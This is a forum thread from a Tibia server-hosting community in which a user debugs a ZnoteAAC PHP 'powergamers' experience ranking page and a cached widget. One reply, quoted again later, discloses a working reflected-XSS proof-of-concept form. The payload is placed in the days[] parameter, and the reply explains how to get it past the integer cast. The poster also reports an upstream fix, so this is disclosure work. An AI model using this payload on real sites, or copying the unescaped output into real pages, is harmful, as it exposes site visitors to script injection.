• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

PHP Powergamers

Sparkles

snek
Joined
Mar 1, 2009
Messages
320
Solutions
27
Reaction score
148
Location
Norway, Tromsø
Hi
I've been trying to make a tab that shows the players with the highest earned experience "today". I have a powergamers page that works flawlessly:
PHP:
<?php
require_once 'engine/init.php';
include 'layout/overall/header.php';
if (!$config['powergamers']['enabled']) {
echo 'This page has been disabled at config.php.';
include 'layout/overall/footer.php';
    exit();
}
?>
<div class="panel">
<div class="page-header"><h3>Powergamers</h3></div>
    <?php
    $limit = $config['powergamers']['limit'];
    $days = isset($_POST['days']);
    $today = true;
    if ($days) {
        $selected = ($_POST['days']);
        $days = $selected[1];
        $vocation = $selected[0];
        if ($days > 0)
        $today = false;
    } else {
        $znotePlayers = mysql_select_multi('SELECT `a`.`id`, `b`.`player_id`, `a`.`name`, `a`.`vocation`, `a`.`level`, `a`.`group_id`, `a`.`experience`, `b`.`exphist_lastexp`, `b`.`exphist1`, `b`.`exphist2`, `b`.`exphist3`, `b`.`exphist4`, `b`.`exphist5`, `b`.`exphist6`, `b`.`exphist7`,   (`a`.`experience` - `b`.`exphist_lastexp`)  AS `expdiff` FROM `players` `a` JOIN `znote_players` `b` ON `a`.`id` = `b`.`player_id`  WHERE `a`.`group_id` < 2 ORDER BY `expdiff` DESC LIMIT '.$limit);
    }
    $limit = $config['powergamers']['limit'];
    if(!empty($days) && !empty($vocation))
        $znotePlayers = mysql_select_multi('SELECT `a`.`id`, `b`.`player_id`, `a`.`name`, `a`.`vocation`, `a`.`level`, `a`.`group_id`, `a`.`experience`, `b`.`exphist_lastexp`, `b`.`exphist1`, `b`.`exphist2`, `b`.`exphist3`, `b`.`exphist4`, `b`.`exphist5`, `b`.`exphist6`, `b`.`exphist7`, (`a`.`experience` - `b`.`exphist_lastexp`) AS `expdiff` FROM `players` `a` JOIN `znote_players` `b` ON `a`.`id` = `b`.`player_id`  WHERE `a`.`group_id` < 2 AND `a`.`vocation`='. (int)$vocation .' OR `a`.`vocation`='. ((int)$vocation +4) .' ORDER BY `exphist' . (int)$days . '` DESC LIMIT '.$limit);
    elseif(empty($days) && !empty($vocation)) {
        $znotePlayers = mysql_select_multi('SELECT `a`.`id`, `b`.`player_id`, `a`.`name`, `a`.`vocation`, `a`.`level`, `a`.`group_id`, `a`.`experience`, `b`.`exphist_lastexp`, `b`.`exphist1`, `b`.`exphist2`, `b`.`exphist3`, `b`.`exphist4`, `b`.`exphist5`, `b`.`exphist6`, `b`.`exphist7`,   (`a`.`experience` - `b`.`exphist_lastexp`)  AS `expdiff` FROM `players` `a` JOIN `znote_players` `b` ON `a`.`id` = `b`.`player_id`  WHERE `a`.`group_id` < 2 AND `a`.`vocation`='. (int)$vocation .' OR `a`.`vocation`='. ((int)$vocation +4) .' ORDER BY `expdiff` DESC LIMIT '.$limit);
    }elseif(!empty($days) && empty($vocation))
        $znotePlayers = mysql_select_multi('SELECT `a`.`id`, `b`.`player_id`, `a`.`name`, `a`.`vocation`, `a`.`level`, `a`.`group_id`, `a`.`experience`, `b`.`exphist_lastexp`, `b`.`exphist1`, `b`.`exphist2`, `b`.`exphist3`, `b`.`exphist4`, `b`.`exphist5`, `b`.`exphist6`, `b`.`exphist7`, (`a`.`experience` - `b`.`exphist_lastexp`) AS `expdiff` FROM `players` `a` JOIN `znote_players` `b` ON `a`.`id` = `b`.`player_id`  WHERE `a`.`group_id` < 2 ORDER BY `exphist' . (int)$days . '` DESC LIMIT '.$limit);
    else
        $znotePlayers = mysql_select_multi('SELECT `a`.`id`, `b`.`player_id`, `a`.`name`, `a`.`vocation`, `a`.`level`, `a`.`group_id`, `a`.`experience`, `b`.`exphist_lastexp`, `b`.`exphist1`, `b`.`exphist2`, `b`.`exphist3`, `b`.`exphist4`, `b`.`exphist5`, `b`.`exphist6`, `b`.`exphist7`,   (`a`.`experience` - `b`.`exphist_lastexp`)  AS `expdiff` FROM `players` `a` JOIN `znote_players` `b` ON `a`.`id` = `b`.`player_id`  WHERE `a`.`group_id` < 2 ORDER BY `expdiff` DESC LIMIT '.$limit);
    $showVoc = (!empty($vocation)) ? $vocation : 0;
    ?>
    <form class="form form-inline" action="" method="post">
        <div class="col sm-4">
            <center>
            <select class="form-control" name="days[]">
                <option value="" selected="all">All</option>
                <option value="1">Sorcerers</option>
                <option value="2">Druids</option>
                <option value="3">Paladins</option>
                <option value="4">Knights</option>
                <option value="none">No vocation</option>
            </select>
            <select class="form-control" name="days[]">
                <option value="" selected="Today">Today</option>
                <option value="1">Yesterday</option>
                <option value="2">2 days ago</option>
                <option value="3">3 days ago</option>
            </select>
            <input type="submit" class="btn btn-primary"><br>
            <?php echo ($showVoc > 0) ? 'Showing only <b>'. strtolower(vocation_id_to_name($vocation)).'s</b> and' : 'Showing <b>all</b> vocations and'; ?>
            <?php echo ($days > 0) ? 'sorted by <b>'. $days .'</b> days': 'sorted by <b>today</b>';     ?>.
            </center>
        </div>
    </form>
    <table class="table table-striped">
        <td width="5%"><center>#</center></td>
        <td>Name</td>
        <?php
    for($i = 3; $i >= 2; $i--)
        echo ($days == $i) ? '<td class="pull-right" width="70%"><b>'.$i.' Days Ago</b></td>' : '';
        echo ($days == 1) ? '<td class="pull-right" width="70%"><b>Yesterday</b></td>' : '';
        echo ($today) ? '<td class="pull-right" width="70%"><b>Today</b></td>' : '';
        echo ($days == 4) ? '<td class="pull-right" width="70%"><b>Total</b></td>' : '';
        echo '</tr>';
    $number_of_rows = 0;
    if($znotePlayers) {
        foreach($znotePlayers as $player)
        {
            $number_of_rows++;
            echo '<td><center>'. $number_of_rows . '.</center></td>';
            echo '<td><a href="characterprofile.php?name=' .$player['name']. '">' .$player['name']. '</a>';
            echo '<br> '. ($player['level']. ' '.htmlspecialchars(vocation_id_to_name($player['vocation'])) ).' ';
            echo ($days == 3) ? '<td><center>'. number_format($player['exphist3']) .'</center></td>' : '';
            echo ($days == 2) ? '<td><center>'. $player['exphist2'] .'</center></td>' : '';
            echo ($days == 1) ? '<td><center>'. $player['exphist1'] .'</center></td>' : '';
            echo ($today == true) ? '<td><center>'. ($player['experience']-$player['exphist_lastexp']) .'</center></td>' : '';
            echo '</tr>';
        }
    }
    ?>
    </table>
    <br>
</div>
<?php
include 'layout/overall/footer.php';

And the one I tried to fix to only show today shows completely different experiences and is not accurate at all, and I cant figure out why :O

PHP:
                            $cache = new Cache('engine/cache/topPowergamers');
                            if ($cache->hasExpired()) {
                                $znotePlayers = mysql_select_multi('SELECT * FROM players WHERE group_id < 2 ORDER BY experience - exphist_lastexp DESC LIMIT 5;');
                                $cache->setContent($znotePlayers);
                                $cache->save();
                            } else {
                                $znotePlayers = $cache->load();
                            }

                            if($znotePlayers){
                                foreach($znotePlayers as $player)
                                {
                                    $nam = $player['name'];
                                    if (strlen($nam) > 15)
                                    {$nam = substr($nam, 0, 12) . '...';}
                                    echo '<li style="margin: 6px 0;"><div style="position:relative; left:-48px; top:-48px;"><div style="background-image: url(layout/outfitter/outfit.php?id='.$player['looktype'].'&head='.$player['lookhead'].'&body='.$player['lookbody'].'&legs='.$player['looklegs'].'&feet='.$player['lookfeet'].');width:64px;height:64px;position:absolute;background-repeat:no-repeat;background-position:right bottom;"></div></div>
                                    <a style="margin-left: 19px;" href="characterprofile.php?name=' .$player['name']. '">' .$nam. '</a>';
                                    
                                    echo '<span style="float: right;">'.coloured_value($player['experience']-$player['exphist_lastexp']).'</span></li>';
                                }
                            }
I mean, in theory it should work right, taking the experience and subtracting the lastexp, but somehow it just doesnt show the correct experiences.

Im guessing something is wrong with line 3, but I cant figure out what to write instead to fix this.
 
PHP:
$znotePlayers = mysql_select_multi('SELECT * FROM players WHERE group_id < 2 ORDER BY experience - exphist_lastexp DESC LIMIT 5;');

echo '<span style="float: right;">'.coloured_value($player['experience']-$player['exphist_lastexp']).'</span></li>';

You seem to be subtracting the experience twice if I'm understanding this?

If you query the data multiple times does the experience continually get smaller? Perhaps change the format of your query to include some parentheses if possible? Consider another way to store and represent the value of that equation?
 
Last edited:
yup i confirmed that it's vulnerable, POC:


HTML:
<form action="https://<censored>/powergamers.php" method="POST">
<input type="hidden" name="days[]" value="3" />
<input type="hidden" name="days[]" value="1&lt;script&gt;alert(&quot;XSS running!&quot;);&lt;/script&gt;" />
<input type="submit" value="click here to start xss" />
</form>
(btw the 1 at the start is required, else you just get a SQL error - the string is casted to an int and int(0) is not a valid number here, and casting a string starting with < to int in php gives you int(0), but casting 1< to int gives you int(1))
36032
 
Last edited:
yup i confirmed that it's vulnerable, POC:


HTML:
<form action="https://<censored>/powergamers.php" method="POST">
<input type="hidden" name="days[]" value="3" />
<input type="hidden" name="days[]" value="1&lt;script&gt;alert(&quot;XSS running!&quot;);&lt;/script&gt;" />
<input type="submit" value="click here to start xss" />
</form>
(btw the 1 at the start is required, else you just get a SQL error - the string is casted to an int and int(0) is not a valid number here, and casting a string starting with < to int in php gives you int(0), but casting 1< to int gives you int(1))
View attachment 36032
Thanks for pointing that out, however it was abit off-topic tho, and I still need help with my original issue. :O
 
Thanks for pointing that out, however it was abit off-topic tho, and I still need help with my original issue. :O
btw it turns out that even the vanilla ZNoteAAC powergamers page is vulnerable, i made a pull request to fix it on github: patch XSS vulnerability by divinity76 · Pull Request #358 · Znote/ZnoteAAC (https://github.com/Znote/ZnoteAAC/pull/358/)

but if your original page works flawlessly, can't you just hardcode days to 1? eg replace line 18

Code:
$days = $selected[1];
with
Code:
$days = 1;
?
 
btw it turns out that even the vanilla ZNoteAAC powergamers page is vulnerable, i made a pull request to fix it on github: patch XSS vulnerability by divinity76 · Pull Request #358 · Znote/ZnoteAAC (https://github.com/Znote/ZnoteAAC/pull/358/)

but if your original page works flawlessly, can't you just hardcode days to 1? eg replace line 18

Code:
$days = $selected[1];
with
Code:
$days = 1;
?
re-read the post my man, that one was an example of it working, the issue is with the widget, and its not showing correct exp.
 
well if the cache is updated multiple places and the previous cache entry was not created with ORDER BY experience - exphist_lastexp then it will show like the first character first or something like that, are you sure your cache is ordered by exp?
 
Back
Top